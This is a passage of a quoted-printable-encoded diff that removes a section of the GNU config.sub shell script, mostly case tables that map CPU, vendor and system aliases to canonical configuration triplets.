failure to support a valid configuration from a meaningless -# configuration. - -# The goal of this file is to map all the various variations of a give= n -# machine specification into a single specification in the form: -#=09CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM -# or in some cases, the newer four-part form: -#=09CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM -# It is wrong to echo any other type of specification. - -me=3D`echo "$0" | sed -e 's,.*/,,'` - -usage=3D"\ -Usage: $0 [OPTION] CPU-MFR-OPSYS - $0 [OPTION] ALIAS - -Canonicalize a configuration name. - -Operation modes: - -h, --help print this help, then exit - -t, --time-stamp print date of last modification, then exit - -v, --version print version number, then exit - -Report bugs and patches to ." - -version=3D"\ -GNU config.sub ($timestamp) - -Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 20= 01, 2002, 2003, 2004 -Free Software Foundation, Inc. - -This is free software; see the source for copying conditions. There i= s NO -warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PUR= POSE." - -help=3D" -Try \`$me --help' for more information." - -# Parse command line -while test $# -gt 0 ; do - case $1 in - --time-stamp | --time* | -t ) - echo "$timestamp" ; exit 0 ;; - --version | -v ) - echo "$version" ; exit 0 ;; - --help | --h* | -h ) - echo "$usage"; exit 0 ;; - -- ) # Stop option processing - shift; break ;; - - )=09# Use stdin as input. - break ;; - -* ) - echo "$me: invalid option $1$help" - exit 1 ;; - - *local*) - # First pass through any local machine types. - echo $1 - exit 0;; - - * ) - break ;; - esac -done - -case $# in - 0) echo "$me: missing argument$help" >&2 - exit 1;; - 1) ;; - *) echo "$me: too many arguments$help" >&2 - exit 1;; -esac - -# Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if= any). -# Here we must recognize all the valid KERNEL-OS combinations. -maybe_os=3D`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` -case $maybe_os in - nto-qnx* | linux-gnu* | linux-dietlibc | linux-uclibc* | uclinux-ucl= ibc* | uclinux-gnu* | \ - kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | storm-chaos* | os2-e= mx* | rtmk-nova*) - os=3D-$maybe_os - basic_machine=3D`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` - ;; - *) - basic_machine=3D`echo $1 | sed 's/-[^-]*$//'` - if [ $basic_machine !=3D $1 ] - then os=3D`echo $1 | sed 's/.*-/-/'` - else os=3D; fi - ;; -esac - -### Let's recognize common machines as not being operating systems so -### that things like config.sub decstation-3100 work. We also -### recognize some manufacturers as not being operating systems, so we -### can provide default operating systems below. -case $os in -=09-sun*os*) -=09=09# Prevent following clause from handling this invalid input. -=09=09;; -=09-dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | = \ -=09-att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ -=09-unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ -=09-convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |= \ -=09-c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti*= | \ -=09-harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp |= \ -=09-apple | -axis | -knuth | -cray) -=09=09os=3D -=09=09basic_machine=3D$1 -=09=09;; -=09-sim | -cisco | -oki | -wec | -winbond) -=09=09os=3D -=09=09basic_machine=3D$1 -=09=09;; -=09-scout) -=09=09;; -=09-wrs) -=09=09os=3D-vxworks -=09=09basic_machine=3D$1 -=09=09;; -=09-chorusos*) -=09=09os=3D-chorusos -=09=09basic_machine=3D$1 -=09=09;; - =09-chorusrdb) - =09=09os=3D-chorusrdb -=09=09basic_machine=3D$1 - =09=09;; -=09-hiux*) -=09=09os=3D-hiuxwe2 -=09=09;; -=09-sco5) -=09=09os=3D-sco3.2v5 -=09=09basic_machine=3D`echo $1 | sed -e 's/86-.*/86-pc/'` -=09=09;; -=09-sco4) -=09=09os=3D-sco3.2v4 -=09=09basic_machine=3D`echo $1 | sed -e 's/86-.*/86-pc/'` -=09=09;; -=09-sco3.2.[4-9]*) -=09=09os=3D`echo $os | sed -e 's/sco3.2./sco3.2v/'` -=09=09basic_machine=3D`echo $1 | sed -e 's/86-.*/86-pc/'` -=09=09;; -=09-sco3.2v[4-9]*) -=09=09# Don't forget version if it is 3.2v4 or newer. -=09=09basic_machine=3D`echo $1 | sed -e 's/86-.*/86-pc/'` -=09=09;; -=09-sco*) -=09=09os=3D-sco3.2v2 -=09=09basic_machine=3D`echo $1 | sed -e 's/86-.*/86-pc/'` -=09=09;; -=09-udk*) -=09=09basic_machine=3D`echo $1 | sed -e 's/86-.*/86-pc/'` -=09=09;; -=09-isc) -=09=09os=3D-isc2.2 -=09=09basic_machine=3D`echo $1 | sed -e 's/86-.*/86-pc/'` -=09=09;; -=09-clix*) -=09=09basic_machine=3Dclipper-intergraph -=09=09;; -=09-isc*) -=09=09basic_machine=3D`echo $1 | sed -e 's/86-.*/86-pc/'` -=09=09;; -=09-lynx*) -=09=09os=3D-lynxos -=09=09;; -=09-ptx*) -=09=09basic_machine=3D`echo $1 | sed -e 's/86-.*/86-sequent/'` -=09=09;; -=09-windowsnt*) -=09=09os=3D`echo $os | sed -e 's/windowsnt/winnt/'` -=09=09;; -=09-psos*) -=09=09os=3D-psos -=09=09;; -=09-mint | -mint[0-9]*) -=09=09basic_machine=3Dm68k-atari -=09=09os=3D-mint -=09=09;; -esac - -# Decode aliases for certain CPU-COMPANY combinations. -case $basic_machine in -=09# Recognize the basic CPU types without company name. -=09# Some are omitted here because they have special meanings below. -=091750a | 580 \ -=09| a29k \ -=09| alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ -=09| alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64= pca5[67] \ -=09| am33_2.0 \ -=09| arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | av= r \ -=09| c4x | clipper \ -=09| d10v | d30v | dlx | dsp16xx \ -=09| fr30 | frv \ -=09| h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa6= 4 \ -=09| i370 | i860 | i960 | ia64 \ -=09| ip2k | iq2000 \ -=09| m32r | m32rle | m68000 | m68k | m88k | mcore \ -=09| mips | mipsbe | mipseb | mipsel | mipsle \ -=09| mips16 \ -=09| mips64 | mips64el \ -=09| mips64vr | mips64vrel \ -=09| mips64orion | mips64orionel \ -=09| mips64vr4100 | mips64vr4100el \ -=09| mips64vr4300 | mips64vr4300el \ -=09| mips64vr5000 | mips64vr5000el \ -=09| mipsisa32 | mipsisa32el \ -=09| mipsisa32r2 | mipsisa32r2el \ -=09| mipsisa64 | mipsisa64el \ -=09| mipsisa64r2 | mipsisa64r2el \ -=09| mipsisa64sb1 | mipsisa64sb1el \ -=09| mipsisa64sr71k | mipsisa64sr71kel \ -=09| mipstx39 | mipstx39el \ -=09| mn10200 | mn10300 \ -=09| msp430 \ -=09| ns16k | ns32k \ -=09| openrisc | or32 \ -=09| pdp10 | pdp11 | pj | pjl \ -=09| powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \ -=09| pyramid \ -=09| sh | sh[1234] | sh[23]e | sh[34]eb | shbe | shle | sh[1234]le | s= h3ele \ -=09| sh64 | sh64le \ -=09| sparc | sparc64 | sparc86x | sparclet | sparclite | sparcv8 | spa= rcv9 | sparcv9b \ -=09| strongarm \ -=09| tahoe | thumb | tic4x | tic80 | tron \ -=09| v850 | v850e \ -=09| we32k \ -=09| x86 | xscale | xstormy16 | xtensa \ -=09| z8k) -=09=09basic_machine=3D$basic_machine-unknown -=09=09;; -=09m6811 | m68hc11 | m6812 | m68hc12) -=09=09# Motorola 68HC11/12. -=09=09basic_machine=3D$basic_machine-unknown -=09=09os=3D-none -=09=09;; -=09m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) -=09=09;; - -=09# We use `pc' rather than `unknown' -=09# because (1) that's what they normally are, and -=09# (2) the word "unknown" tends to confuse beginning users. -=09i*86 | x86_64) -=09 basic_machine=3D$basic_machine-pc -=09 ;; -=09# Object if more than one company name word. -=09*-*-*) -=09=09echo Invalid configuration \`$1\': machine \`$basic_machine\' no= t recognized 1>&2 -=09=09exit 1 -=09=09;; -=09# Recognize the basic CPU types with company name. -=09580-* \ -=09| a29k-* \ -=09| alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ -=09| alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ -=09| alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ -=09| arm-* | armbe-* | armle-* | armeb-* | armv*-* \ -=09| avr-* \ -=09| bs2000-* \ -=09| c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \ -=09| clipper-* | craynv-* | cydra-* \ -=09| d10v-* | d30v-* | dlx-* \ -=09| elxsi-* \ -=09| f30[01]-* | f700-* | fr30-* | frv-* | fx80-* \ -=09| h8300-* | h8500-* \ -=09| hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ -=09| i*86-* | i860-* | i960-* | ia64-* \ -=09| ip2k-* | iq2000-* \ -=09| m32r-* | m32rle-* \ -=09| m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ -=09| m88110-* | m88k-* | mcore-* \ -=09| mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ -=09| mips16-* \ -=09| mips64-* | mips64el-* \ -=09| mips64vr-* | mips64vrel-* \ -=09| mips64orion-* | mips64orionel-* \ -=09| mips64vr4100-* | mips64vr4100el-* \ -=09| mips64vr4300-* | mips64vr4300el-* \ -=09| mips64vr5000-* | mips64vr5000el-* \ -=09| mipsisa32-* | mipsisa32el-* \ -=09| mipsisa32r2-* | mipsisa32r2el-* \ -=09| mipsisa64-* | mipsisa64el-* \ -=09| mipsisa64r2-* | mipsisa64r2el-* \ -=09| mipsisa64sb1-* | mipsisa64sb1el-* \ -=09| mipsisa64sr71k-* | mipsisa64sr71kel-* \ -=09| mipstx39-* | mipstx39el-* \ -=09| mmix-* \ -=09| msp430-* \ -=09| none-* | np1-* | ns16k-* | ns32k-* \ -=09| orion-* \ -=09| pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ -=09| powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \ -=09| pyramid-* \ -=09| romp-* | rs6000-* \ -=09| sh-* | sh[1234]-* | sh[23]e-* | sh[34]eb-* | shbe-* \ -=09| shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ -=09| sparc-* | sparc64-* | sparc86x-* | sparclet-* | sparclite-* \ -=09| sparcv8-* | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* | sx?-* = \ -=09| tahoe-* | thumb-* \ -=09| tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ -=09| tron-* \ -=09| v850-* | v850e-* | vax-* \ -=09| we32k-* \ -=09| x86-* | x86_64-* | xps100-* | xscale-* | xstormy16-* \ -=09| xtensa-* \ -=09| ymp-* \ -=09| z8k-*) -=09=09;; -=09# Recognize the various machine names and aliases which stand -=09# for a CPU type and a company and sometimes even an OS. -=09386bsd) -=09=09basic_machine=3Di386-unknown -=09=09os=3D-bsd -=09=09;; -=093b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) -=09=09basic_machine=3Dm68000-att -=09=09;; -=093b*) -=09=09basic_machine=3Dwe32k-att -=09=09;; -=09a29khif) -=09=09basic_machine=3Da29k-amd -=09=09os=3D-udi -=09=09;; - =09abacus) -=09=09basic_machine=3Dabacus-unknown -=09=09;; -=09adobe68k) -=09=09basic_machine=3Dm68010-adobe -=09=09os=3D-scout -=09=09;; -=09alliant | fx80) -=09=09basic_machine=3Dfx80-alliant -=09=09;; -=09altos | altos3068) -=09=09basic_machine=3Dm68k-altos -=09=09;; -=09am29k) -=09=09basic_machine=3Da29k-none -=09=09os=3D-bsd -=09=09;; -=09amd64) -=09=09basic_machine=3Dx86_64-pc -=09=09;; -=09amd64-*) -=09=09basic_machine=3Dx86_64-`echo $basic_machine | sed 's/^[^-]*-//'` -=09=09;; -=09amdahl) -=09=09basic_machine=3D580-amdahl -=09=09os=3D-sysv -=09=09;; -=09amiga | amiga-*) -=09=09basic_machine=3Dm68k-unknown -=09=09;; -=09amigaos | amigados) -=09=09basic_machine=3Dm68k-unknown -=09=09os=3D-amigaos -=09=09;; -=09amigaunix | amix) -=09=09basic_machine=3Dm68k-unknown -=09=09os=3D-sysv4 -=09=09;; -=09apollo68) -=09=09basic_machine=3Dm68k-apollo -=09=09os=3D-sysv -=09=09;; -=09apollo68bsd) -=09=09basic_machine=3Dm68k-apollo -=09=09os=3D-bsd -=09=09;; -=09aux) -=09=09basic_machine=3Dm68k-apple -=09=09os=3D-aux -=09=09;; -=09balance) -=09=09basic_machine=3Dns32k-sequent -=09=09os=3D-dynix -=09=09;; -=09c90) -=09=09basic_machine=3Dc90-cray -=09=09os=3D-unicos -=09=09;; -=09convex-c1) -=09=09basic_machine=3Dc1-convex -=09=09os=3D-bsd -=09=09;; -=09convex-c2) -=09=09basic_machine=3Dc2-convex -=09=09os=3D-bsd -=09=09;; -=09convex-c32) -=09=09basic_machine=3Dc32-convex -=09=09os=3D-bsd -=09=09;; -=09convex-c34) -=09=09basic_machine=3Dc34-convex -=09=09os=3D-bsd -=09=09;; -=09convex-c38) -=09=09basic_machine=3Dc38-convex -=09=09os=3D-bsd -=09=09;; -=09cray | j90) -=09=09basic_machine=3Dj90-cray -=09=09os=3D-unicos -=09=09;; -=09craynv) -=09=09basic_machine=3Dcraynv-cray -=09=09os=3D-unicosmp -=09=09;; -=09cr16c) -=09=09basic_machine=3Dcr16c-unknown -=09=09os=3D-elf -=09=09;; -=09crds | unos) -=09=09basic_machine=3Dm68k-crds -=09=09;; -=09cris | cris-* | etrax*) -=09=09basic_machine=3Dcris-axis -=09=09;; -=09crx) -=09=09basic_machine=3Dcrx-unknown -=09=09os=3D-elf -=09=09;; -=09da30 | da30-*) -=09=09basic_machine=3Dm68k-da30 -=09=09;; -=09decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | dec= statn) -=09=09basic_machine=3Dmips-dec -=09=09;; -=09decsystem10* | dec10*) -=09=09basic_machine=3Dpdp10-dec -=09=09os=3D-tops10 -=09=09;; -=09decsystem20* | dec20*) -=09=09basic_machine=3Dpdp10-dec -=09=09os=3D-tops20 -=09=09;; -=09delta | 3300 | motorola-3300 | motorola-delta \ -=09 | 3300-motorola | delta-motorola) -=09=09basic_machine=3Dm68k-motorola -=09=09;; -=09delta88) -=09=09basic_machine=3Dm88k-motorola -=09=09os=3D-sysv3 -=09=09;; -=09dpx20 | dpx20-*) -=09=09basic_machine=3Drs6000-bull -=09=09os=3D-bosx -=09=09;; -=09dpx2* | dpx2*-bull) -=09=09basic_machine=3Dm68k-bull -=09=09os=3D-sysv3 -=09=09;; -=09ebmon29k) -=09=09basic_machine=3Da29k-amd -=09=09os=3D-ebmon -=09=09;; -=09elxsi) -=09=09basic_machine=3Delxsi-elxsi -=09=09os=3D-bsd -=09=09;; -=09encore | umax | mmax) -=09=09basic_machine=3Dns32k-encore -=09=09;; -=09es1800 | OSE68k | ose68k | ose | OSE) -=09=09basic_machine=3Dm68k-ericsson -=09=09os=3D-ose -=09=09;; -=09fx2800) -=09=09basic_machine=3Di860-alliant -=09=09;; -=09genix) -=09=09basic_machine=3Dns32k-ns -=09=09;; -=09gmicro) -=09=09basic_machine=3Dtron-gmicro -=09=09os=3D-sysv -=09=09;; -=09go32) -=09=09basic_machine=3Di386-pc -=09=09os=3D-go32 -=09=09;; -=09h3050r* | hiux*) -=09=09basic_machine=3Dhppa1.1-hitachi -=09=09os=3D-hiuxwe2 -=09=09;; -=09h8300hms) -=09=09basic_machine=3Dh8300-hitachi -=09=09os=3D-hms -=09=09;; -=09h8300xray) -=09=09basic_machine=3Dh8300-hitachi -=09=09os=3D-xray -=09=09;; -=09h8500hms) -=09=09basic_machine=3Dh8500-hitachi -=09=09os=3D-hms -=09=09;; -=09harris) -=09=09basic_machine=3Dm88k-harris -=09=09os=3D-sysv3 -=09=09;; -=09hp300-*) -=09=09basic_machine=3Dm68k-hp -=09=09;; -=09hp300bsd) -=09=09basic_machine=3Dm68k-hp -=09=09os=3D-bsd -=09=09;; -=09hp300hpux) -=09=09basic_machine=3Dm68k-hp -=09=09os=3D-hpux -=09=09;; -=09hp3k9[0-9][0-9] | hp9[0-9][0-9]) -=09=09basic_machine=3Dhppa1.0-hp -=09=09;; -=09hp9k2[0-9][0-9] | hp9k31[0-9]) -=09=09basic_machine=3Dm68000-hp -=09=09;; -=09hp9k3[2-9][0-9]) -=09=09basic_machine=3Dm68k-hp -=09=09;; -=09hp9k6[0-9][0-9] | hp6[0-9][0-9]) -=09=09basic_machine=3Dhppa1.0-hp -=09=09;; -=09hp9k7[0-79][0-9] | hp7[0-79][0-9]) -=09=09basic_machine=3Dhppa1.1-hp -=09=09;; -=09hp9k78[0-9] | hp78[0-9]) -=09=09# FIXME: really hppa2.0-hp -=09=09basic_machine=3Dhppa1.1-hp -=09=09;; -=09hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78= ]9 | hp9k893 | hp893) -=09=09# FIXME: really hppa2.0-hp -=09=09basic_machine=3Dhppa1.1-hp -=09=09;; -=09hp9k8[0-9][13679] | hp8[0-9][13679]) -=09=09basic_machine=3Dhppa1.1-hp -=09=09;; -=09hp9k8[0-9][0-9] | hp8[0-9][0-9]) -=09=09basic_machine=3Dhppa1.0-hp -=09=09;; -=09hppa-next) -=09=09os=3D-nextstep3 -=09=09;; -=09hppaosf) -=09=09basic_machine=3Dhppa1.1-hp -=09=09os=3D-osf -=09=09;; -=09hppro) -=09=09basic_machine=3Dhppa1.1-hp -=09=09os=3D-proelf -=09=09;; -=09i370-ibm* | ibm*) -=09=09basic_machine=3Di370-ibm -=09=09;; -# I'm not sure what "Sysv32" means. Should this be sysv3.2? -=09i*86v32) -=09=09basic_machine=3D`echo $1 | sed -e 's/86.*/86-pc/'` -=09=09os=3D-sysv32 -=09=09;; -=09i*86v4*) -=09=09basic_machine=3D`echo $1 | sed -e 's/86.*/86-pc/'` -=09=09os=3D-sysv4 -=09=09;; -=09i*86v) -=09=09basic_machine=3D`echo $1 | sed -e 's/86.*/86-pc/'` -=09=09os=3D-sysv -=09=09;; -=09i*86sol2) -=09=09basic_machine=3D`echo $1 | sed -e 's/86.*/86-pc/'` -=09=09os=3D-solaris2 -=09=09;; -=09i386mach) -=09=09basic_machine=3Di386-mach -=09=09os=3D-mach -=09=09;; -=09i386-vsta | vsta) -=09=09basic_machine=3Di386-unknown -=09=09os=3D-vsta -=09=09;; -=09iris | iris4d) -=09=09basic_machine=3Dmips-sgi -=09=09case $os in -=09=09 -irix*) -=09=09=09;; -=09=09 *) -=09=09=09os=3D-irix4 -=09=09=09;; -=09=09esac -=09=09;; -=09isi68 | isi) -=09=09basic_machine=3Dm68k-isi -=09=09os=3D-sysv -=09=09;; -=09m88k-omron*) -=09=09basic_machine=3Dm88k-omron -=09=09;; -=09magnum | m3230) -=09=09basic_machine=3Dmips-mips -=09=09os=3D-sysv -=09=09;; -=09merlin) -=09=09basic_machine=3Dns32k-utek -=09=09os=3D-sysv -=09=09;; -=09mingw32) -=09=09basic_machine=3Di386-pc -=09=09os=3D-mingw32 -=09=09;; -=09miniframe) -=09=09basic_machine=3Dm68000-convergent -=09=09;; -=09*mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) -=09=09basic_machine=3Dm68k-atari -=09=09os=3D-mint -=09=09;; -=09mips3*-*) -=09=09basic_machine=3D`echo $basic_machine | sed -e 's/mips3/mips64/'` -=09=09;; -=09mips3*) -=09=09basic_machine=3D`echo $basic_machine | sed -e 's/mips3/mips64/'`= -unknown -=09=09;; -=09monitor) -=09=09basic_machine=3Dm68k-rom68k -=09=09os=3D-coff -=09=09;; -=09morphos) -=09=09basic_machine=3Dpowerpc-unknown -=09=09os=3D-morphos -=09=09;; -=09msdos) -=09=09basic_machine=3Di386-pc -=09=09os=3D-msdos -=09=09;; -=09mvs) -=09=09basic_machine=3Di370-ibm -=09=09os=3D-mvs -=09=09;; -=09ncr3000) -=09=09basic_machine=3Di486-ncr -=09=09os=3D-sysv4 -=09=09;; -=09netbsd386) -=09=09basic_machine=3Di386-unknown -=09=09os=3D-netbsd -=09=09;; -=09netwinder) -=09=09basic_machine=3Darmv4l-rebel -=09=09os=3D-linux -=09=09;; -=09news | news700 | news800 | news900) -=09=09basic_machine=3Dm68k-sony -=09=09os=3D-newsos -=09=09;; -=09news1000) -=09=09basic_machine=3Dm68030-sony -=09=09os=3D-newsos -=09=09;; -=09news-3600 | risc-news) -=09=09basic_machine=3Dmips-sony -=09=09os=3D-newsos -=09=09;; -=09necv70) -=09=09basic_machine=3Dv70-nec -=09=09os=3D-sysv -=09=09;; -=09next | m*-next ) -=09=09basic_machine=3Dm68k-next -=09=09case $os in -=09=09 -nextstep* ) -=09=09=09;; -=09=09 -ns2*) -=09=09 os=3D-nextstep2 -=09=09=09;; -=09=09 *) -=09=09 os=3D-nextstep3 -=09=09=09;; -=09=09esac -=09=09;; -=09nh3000) -=09=09basic_machine=3Dm68k-harris -=09=09os=3D-cxux -=09=09;; -=09nh[45]000) -=09=09basic_machine=3Dm88k-harris -=09=09os=3D-cxux -=09=09;; -=09nindy960) -=09=09basic_machine=3Di960-intel -=09=09os=3D-nindy -=09=09;; -=09mon960) -=09=09basic_machine=3Di960-intel -=09=09os=3D-mon960 -=09=09;; -=09nonstopux) -=09=09basic_machine=3Dmips-compaq -=09=09os=3D-nonstopux -=09=09;; -=09np1) -=09=09basic_machine=3Dnp1-gould -=09=09;; -=09nsr-tandem) -=09=09basic_machine=3Dnsr-tandem -=09=09;; -=09op50n-* | op60c-*) -=09=09basic_machine=3Dhppa1.1-oki -=09=09os=3D-proelf -=09=09;; -=09or32 | or32-*) -=09=09basic_machine=3Dor32-unknown -=09=09os=3D-coff -=09=09;; -=09os400) -=09=09basic_machine=3Dpowerpc-ibm -=09=09os=3D-os400 -=09=09;; -=09OSE68000 | ose68000) -=09=09basic_machine=3Dm68000-ericsson -=09=09os=3D-ose -=09=09;; -=09os68k) -=09=09basic_machine=3Dm68k-none -=09=09os=3D-os68k -=09=09;; -=09pa-hitachi) -=09=09basic_machine=3Dhppa1.1-hitachi -=09=09os=3D-hiuxwe2 -=09=09;; -=09paragon) -=09=09basic_machine=3Di860-intel -=09=09os=3D-osf -=09=09;; -=09pbd) -=09=09basic_machine=3Dsparc-tti -=09=09;; -=09pbb) -=09=09basic_machine=3Dm68k-tti -=09=09;; -=09pc532 | pc532-*) -=09=09basic_machine=3Dns32k-pc532 -=09=09;; -=09pentium | p5 | k5 | k6 | nexgen | viac3) -=09=09basic_machine=3Di586-pc -=09=09;; -=09pentiumpro | p6 | 6x86 | athlon | athlon_*) -=09=09basic_machine=3Di686-pc -=09=09;; -=09pentiumii | pentium2 | pentiumiii | pentium3) -=09=09basic_machine=3Di686-pc -=09=09;; -=09pentium4) -=09=09basic_machine=3Di786-pc -=09=09;; -=09pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) -=09=09basic_machine=3Di586-`echo $basic_machine | sed 's/^[^-]*-//'` -=09=09;; -=09pentiumpro-* | p6-* | 6x86-* | athlon-*) -=09=09basic_machine=3Di686-`echo $basic_machine | sed 's/^[^-]*-//'` -=09=09;; -=09pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*) -=09=09basic_machine=3Di686-`echo $basic_machine | sed 's/^[^-]*-//'` -=09=09;; -=09pentium4-*) -=09=09basic_machine=3Di786-`echo $basic_machine | sed 's/^[^-]*-//'` -=09=09;; -=09pn) -=09=09basic_machine=3Dpn-gould -=09=09;; -=09power)=09basic_machine=3Dpower-ibm -=09=09;; -=09ppc)=09basic_machine=3Dpowerpc-unknown -=09=09;; -=09ppc-*)=09basic_machine=3Dpowerpc-`echo $basic_machine | sed 's/^[^-= ]*-//'` -=09=09;; -=09ppcle | powerpclittle | ppc-le | powerpc-little) -=09=09basic_machine=3Dpowerpcle-unknown -=09=09;; -=09ppcle-* | powerpclittle-*) -=09=09basic_machine=3Dpowerpcle-`echo $basic_machine | sed 's/^[^-]*-/= /'` -=09=09;; -=09ppc64)=09basic_machine=3Dpowerpc64-unknown -=09=09;; -=09ppc64-*) basic_machine=3Dpowerpc64-`echo $basic_machine | sed 's/^[= ^-]*-//'` -=09=09;; -=09ppc64le | powerpc64little | ppc64-le | powerpc64-little) -=09=09basic_machine=3Dpowerpc64le-unknown -=09=09;; -=09ppc64le-* | powerpc64little-*) -=09=09basic_machine=3Dpowerpc64le-`echo $basic_machine | sed 's/^[^-]*= -//'` -=09=09;; -=09ps2) -=09=09basic_machine=3Di386-ibm -=09=09;; -=09pw32) -=09=09basic_machine=3Di586-unknown -=09=09os=3D-pw32 -=09=09;; -=09rom68k) -=09=09basic_machine=3Dm68k-rom68k -=09=09os=3D-coff -=09=09;; -=09rm[46]00) -=09=09basic_machine=3Dmips-siemens -=09=09;; -=09rtpc | rtpc-*) -=09=09basic_machine=3Dromp-ibm -=09=09;; -=09s390 | s390-*) -=09=09basic_machine=3Ds390-ibm -=09=09;; -=09s390x | s390x-*) -=09=09basic_machine=3Ds390x-ibm -=09=09;; -=09sa29200) -=09=09basic_machine=3Da29k-amd -=09=09os=3D-udi -=09=09;; -=09sb1) -=09=09basic_machine=3Dmipsisa64sb1-unknown -=09=09;; -=09sb1el) -=09=09basic_machine=3Dmipsisa64sb1el-unknown -=09=09;; -=09sei) -=09=09basic_machine=3Dmips-sei -=09=09os=3D-seiux -=09=09;; -=09sequent) -=09=09basic_machine=3Di386-sequent -=09=09;; -=09sh) -=09=09basic_machine=3Dsh-hitachi -=09=09os=3D-hms -=09=09;; -=09sh64) -=09=09basic_machine=3Dsh64-unknown -=09=09;; -=09sparclite-wrs | simso-wrs) -=09=09basic_machine=3Dsparclite-wrs -=09=09os=3D-vxworks -=09=09;; -=09sps7) -=09=09basic_machine=3Dm68k-bull -=09=09os=3D-sysv2 -=09=09;; -=09spur) -=09=09basic_machine=3Dspur-unknown -=09=09;; -=09st2000) -=09=09basic_machine=3Dm68k-tandem -=09=09;; -=09stratus) -=09=09basic_machine=3Di860-stratus -=09=09os=3D-sysv4 -=09=09;; -=09sun2) -=09=09basic_machine=3Dm68000-sun -=09=09;; -=09sun2os3) -=09=09basic_machine=3Dm68000-sun -=09=09os=3D-sunos3 -=09=09;; -=09sun2os4) -=09=09basic_machine=3Dm68000-sun -=09=09os=3D-sunos4 -=09=09;; -=09sun3os3) -=09=09basic_machine=3Dm68k-sun -=09=09os=3D-sunos3 -=09=09;; -=09sun3os4) -=09=09basic_machine=3Dm68k-sun -=09=09os=3D-sunos4 -=09=09;; -=09sun4os3) -=09=09basic_machine=3Dsparc-sun -=09=09os=3D-sunos3 -=09=09;; -=09sun4os4) -=09=09basic_machine=3Dsparc-sun -=09=09os=3D-sunos4 -=09=09;; -=09sun4sol2) -=09=09basic_machine=3Dsparc-sun -=09=09os=3D-solaris2 -=09=09;; -=09sun3 | sun3-*) -=09=09basic_machine=3Dm68k-sun -=09=09;; -=09sun4) -=09=09basic_machine=3Dsparc-sun -=09=09;; -=09sun386 | sun386i | roadrunner) -=09=09basic_machine=3Di386-sun -=09=09;; -=09sv1) -=09=09basic_machine=3Dsv1-cray -=09=09os=3D-unicos -=09=09;; -=09symmetry) -=09=09basic_machine=3Di386-sequent -=09=09os=3D-dynix -=09=09;; -=09t3e) -=09=09basic_machine=3Dalphaev5-cray -=09=09os=3D-unicos -=09=09;; -=09t90) -=09=09basic_machine=3Dt90-cray -=09=09os=3D-unicos -=09=09;; -=09tic54x | c54x*) -=09=09basic_machine=3Dtic54x-unknown -=09=09os=3D-coff -=09=09;; -=09tic55x | c55x*) -=09=09basic_machine=3Dtic55x-unknown -=09=09os=3D-coff -=09=09;; -=09tic6x | c6x*) -=09=09basic_machine=3Dtic6x-unknown -=09=09os=3D-coff -=09=09;; -=09tx39) -=09=09basic_machine=3Dmipstx39-unknown -=09=09;; -=09tx39el) -=09=09basic_machine=3Dmipstx39el-unknown -=09=09;; -=09toad1) -=09=09basic_machine=3Dpdp10-xkl -=09=09os=3D-tops20 -=09=09;; -=09tower | tower-32) -=09=09basic_machine=3Dm68k-ncr -=09=09;; -=09tpf) -=09=09basic_machine=3Ds390x-ibm -=09=09os=3D-tpf -=09=09;; -=09udi29k) -=09=09basic_machine=3Da29k-amd -=09=09os=3D-udi -=09=09;; -=09ultra3) -=09=09basic_machine=3Da29k-nyu -=09=09os=3D-sym1 -=09=09;; -=09v810 | necv810) -=09=09basic_machine=3Dv810-nec -=09=09os=3D-none -=09=09;; -=09vaxv) -=09=09basic_machine=3Dvax-dec -=09=09os=3D-sysv -=09=09;; -=09vms) -=09=09basic_machine=3Dvax-dec -=09=09os=3D-vms -=09=09;; -=09vpp*|vx|vx-*) -=09=09basic_machine=3Df301-fujitsu -=09=09;; -=09vxworks960) -=09=09basic_machine=3Di960-wrs -=09=09os=3D-vxworks -=09=09;; -=09vxworks68) -=09=09basic_machine=3Dm68k-wrs -=09=09os=3D-vxworks -=09=09;; -=09vxworks29k) -=09=09basic_machine=3Da29k-wrs -=09=09os=3D-vxworks -=09=09;; -=09w65*) -=09=09basic_machine=3Dw65-wdc -=09=09os=3D-none -=09=09;; -=09w89k-*) -=09=09basic_machine=3Dhppa1.1-winbond -=09=09os=3D-proelf -=09=09;; -=09xps | 